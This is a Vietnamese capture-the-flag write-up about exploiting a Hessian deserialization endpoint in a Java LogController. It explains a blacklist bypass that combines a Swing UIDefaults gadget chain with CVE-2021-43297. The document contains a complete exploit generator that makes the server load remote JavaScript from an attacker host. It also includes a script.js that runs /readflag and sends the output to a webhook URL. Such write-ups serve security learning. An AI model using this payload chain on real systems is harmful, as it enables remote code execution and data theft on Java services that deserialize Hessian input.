Giải này mình không tham gia nhưng mình được các em gửi bài cho mình và mình cũng thấy khá hay nên cũng làm thử, cũng khoai đấy @@
Mùa thu cho em
Challenge
Chúng ta tập trung vào file LogController trong file jar được tải về
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
package com.example.controller;
import com.alipay.hessian.ClassNameResolver;
import com.alipay.hessian.NameBlackListFilter;
import com.caucho.hessian.io.Hessian2Input;
import com.example.App;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import java.io.BufferedReader;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.Base64;
import java.util.Iterator;
public class LogController implements HttpHandler {
private static final ArrayList<String> BLACKLIST = new ArrayList();
public LogController() {
}
public void handle(HttpExchange httpExchange) throws IOException {
if (!"POST".equals(httpExchange.getRequestMethod())) {
httpExchange.sendResponseHeaders(404, 0L);
httpExchange.close();
} else {
ByteArrayOutputStream result = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int length;
while((length = httpExchange.getRequestBody().read(buffer)) != -1) {
result.write(buffer, 0, length);
}
byte[] bytes = Base64.getDecoder().decode(result.toByteArray());
String content = new String(bytes, StandardCharsets.UTF_8);
if (content != null && !content.trim().isEmpty()) {
Iterator var6 = BLACKLIST.iterator();
String line;
do {
if (!var6.hasNext()) {
Hessian2Input input = new Hessian2Input(new ByteArrayInputStream(bytes));
ClassNameResolver resolver = new ClassNameResolver();
resolver.addFilter(new CustomInternalNameBlackListFilter());
input.getSerializerFactory().setClassNameResolver(resolver);
Object output = null;
try {
output = input.readObject();
} catch (Exception var11) {
input.close();
httpExchange.sendResponseHeaders(500, 0L);
httpExchange.close();
return;
}
input.close();
if (output != null && output.getClass().equals(String.class)) {
System.out.println(output);
}
OutputStream outputStream = httpExchange.getResponseBody();
String htmlResponse = "{\"ok\":true}";
httpExchange.getResponseHeaders().set("Content-Type", "application/json");
httpExchange.sendResponseHeaders(200, (long)htmlResponse.getBytes().length);
outputStream.write(htmlResponse.getBytes());
outputStream.flush();
outputStream.close();
httpExchange.close();
return;
}
line = (String)var6.next();
} while(!content.contains(line));
httpExchange.sendResponseHeaders(403, 0L);
httpExchange.close();
} else {
httpExchange.sendResponseHeaders(200, 0L);
httpExchange.close();
}
}
}
static {
try {
BufferedReader br = new BufferedReader(new InputStreamReader(App.class.getResourceAsStream("/serialize.blacklist")));
try {
while(br.ready()) {
String line = br.readLine();
if (line != null && !line.trim().isEmpty()) {
BLACKLIST.add(line);
}
}
} catch (Throwable var4) {
try {
br.close();
} catch (Throwable var3) {
var4.addSuppressed(var3);
}
throw var4;
}
br.close();
} catch (IOException var5) {
IOException e = var5;
throw new RuntimeException(e);
}
}
private static class CustomInternalNameBlackListFilter extends NameBlackListFilter {
public CustomInternalNameBlackListFilter() {
super(LogController.BLACKLIST);
}
}
}
Solution
Ở log controller có chức năng deserialize object từ input stream, tuy nhiên có 2 điều kiện cần phải qua:
- Input stream không được chứa từ khóa trong blacklist
- Class desser không được chứa trong blacklist
Sử dụng gadget inspector tìm được 1 gadget chain có thể bypass blacklist
1
2
3
4
5
java.awt.datatransfer.MimeTypeParameterList.toString()Ljava.lang.String; (0)
javax.swing.UIDefaults.get(Ljava.lang.Object;)Ljava.lang.Object; (0)
javax.swing.UIDefaults.getFromHashtable(Ljava.lang.Object;)Ljava.lang.Object; (0)
com.sun.java.swing.plaf.gtk.GTKStyle$GTKLazyValue.createValue(Ljavax.swing.UIDefaults;)Ljava.lang.Object; (0)
java.lang.reflect.Method.invoke(Ljava.lang.Object;[Ljava.lang.Object;)Ljava.lang.Object; (0)
Mình có modify lại chain này bằng cách thay com.sun.java.swing.plaf.gtk.GTKStyle$GTKLazyValue
thành javax.swing.UIDefaults.ProxyLazyValue
có chức năng tương tự
Như vậy ta có gadget chain như sau:
1
2
3
4
5
java.awt.datatransfer.MimeTypeParameterList.toString()Ljava.lang.String; (0)
javax.swing.UIDefaults.get(Ljava.lang.Object;)Ljava.lang.Object; (0)
javax.swing.UIDefaults.getFromHashtable(Ljava.lang.Object;)Ljava.lang.Object; (0)
javax.swing.UIDefaults.ProxyLazyValue.createValue(Ljavax.swing.UIDefaults;)Ljava.lang.Object; (0)
java.lang.reflect.Method.invoke(Ljava.lang.Object;[Ljava.lang.Object;)Ljava.lang.Object; (0)
Tuy nhiên ta vẫn cần làm gì đó để có thể hook method toString
từ readObject của Hessian2Input
CVE-2021-43297
Mở đầu với method readObject
của Hessian2Input
:
1
2
3
4
5
6
public Object readObject() throws IOException {
int tag = this._offset < this._length ? this._buffer[this._offset++] & 255 : this.read();
int ref;
Deserializer reader;
Deserializer reader;
...
Với giá trị ban đầu của this._offset
và this._length
là 0, vậy tag
sẽ được đọc từ this.read()
1
2
3
public final int read() throws IOException {
return this._length <= this._offset && !this.readBuffer() ? -1 : this._buffer[this._offset++] & 255;
}
Như vậy tag
sẽ trả về this._buffer[this._offset++] tức là byte đầu tiên của input stream
Để ý với case là 67 trong hàm readObject:
1
2
3
case 67:
this.readObjectDefinition((Class)null);
return this.readObject();
Tiếp tục debug vào hàm readObjectDefinition
:
1
2
3
4
private void readObjectDefinition(Class<?> cl) throws IOException {
String type = this.readString();
...
}
Debug tiếp vào hàm readString
, để ý đoạn sau
1
2
default:
throw this.expect("string", tag);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected IOException expect(String expect, int ch) throws IOException {
if (ch < 0) {
return this.error("expected " + expect + " at end of file");
} else {
--this._offset;
try {
int offset = this._offset;
String context = this.buildDebugContext(this._buffer, 0, this._length, offset);
Object obj = this.readObject();
return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")" + "\n " + context + "") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");
} catch (Exception var6) {
Exception e = var6;
log.log(Level.FINE, e.toString(), e);
return this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255));
}
}
}
Như vậy obj sẽ bị ghép trực tiếp với chuỗi khác, khi đó ta có thể trigger method toString
của obj
Vậy để trigger toString
một cách đơn giản ta chỉ cần thêm byte 67 ở đằng trước
Đã có gadget chain rồi thì mình sẽ bỏ qua việc phân tích gadget chain (lười quá ><) và viết payload luôn, trong trường hợp này mình sử dụng method com.sun.tools.script.shell.Main.main
để execute code javascript từ outbound
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
import com.alipay.hessian.ClassNameResolver;
import com.alipay.hessian.NameBlackListFilter;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.example.App;
import org.tva.encoder.Base64Utils;
import sun.misc.Unsafe;
import sun.reflect.ReflectionFactory;
import javax.swing.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.io.*;
import java.util.ArrayList;
import java.util.Arrays;
public class Runner {
private static final ArrayList<String> BLACKLIST = new ArrayList();
public static <T> byte[] serialize(T o) throws IOException, IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(bao);
// CVE-2021-43297, thêm byte 67 vào đầu stream để invoke toString
bao.write(67);
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(o);
output.close();
return bao.toByteArray();
}
static {
try {
BufferedReader br = new BufferedReader(new InputStreamReader(App.class.getResourceAsStream("/serialize.blacklist")));
try {
while(br.ready()) {
String line = br.readLine();
if (line != null && !line.trim().isEmpty()) {
BLACKLIST.add(line);
}
}
} catch (Throwable var4) {
try {
br.close();
} catch (Throwable var3) {
var4.addSuppressed(var3);
}
throw var4;
}
br.close();
} catch (IOException var5) {
IOException e = var5;
throw new RuntimeException(e);
}
}
private static class CustomInternalNameBlackListFilter extends NameBlackListFilter {
public CustomInternalNameBlackListFilter() {
super(Runner.BLACKLIST);
}
}
public static byte[] generatePoc(String className, String methodName, Object[] args) throws Exception {
Unsafe unsafe = getUnsafe();
byte [] classNameBytes = className.getBytes();
byte [] methodNameBytes = methodName.getBytes();
UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue(new String(classNameBytes), new String(methodNameBytes), args);
setFieldValue(proxyLazyValue,"acc",null);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("key", proxyLazyValue);
Class clazz = Class.forName("java.awt.datatransfer.MimeTypeParameterList");
Object mimeTypeParameterList = unsafe.allocateInstance(clazz);
setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
return serialize(mimeTypeParameterList);
}
public static void main(String[] args) throws Exception {
String filepath = "http://<your-ip>/script.js";
String className = "com.sun.tools.script.shell.Main";
String methodName = "main";
Object[] evilArgs = new Object[]{new String[]{"-e", String.format("load('%s')", filepath)}};
byte [] bytes = generatePoc(className, methodName, evilArgs);
String b64RCE = Base64Utils.encode(bytes);
System.out.println(b64RCE);
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, Exception {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static Unsafe getUnsafe() throws Exception{
Class<?> clazz = Class.forName("sun.misc.Unsafe");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
Unsafe unsafe= (Unsafe) declaredConstructor.newInstance();
return unsafe;
}
}
File script.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var p = new java.lang.ProcessBuilder();
p.command("/readflag");
var process = p.start();
var inputStreamReader = new java.io.InputStreamReader(process.getInputStream());
var bufferedReader = new java.io.BufferedReader(inputStreamReader);
var stringBuilder = new java.lang.StringBuilder();
var line = "";
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
var fullText = stringBuilder.toString();
var webhook = "http://<web-hook>?"+fullText;
var url = new java.net.URL(webhook);
var conn = url.openConnection();
conn.getInputStream();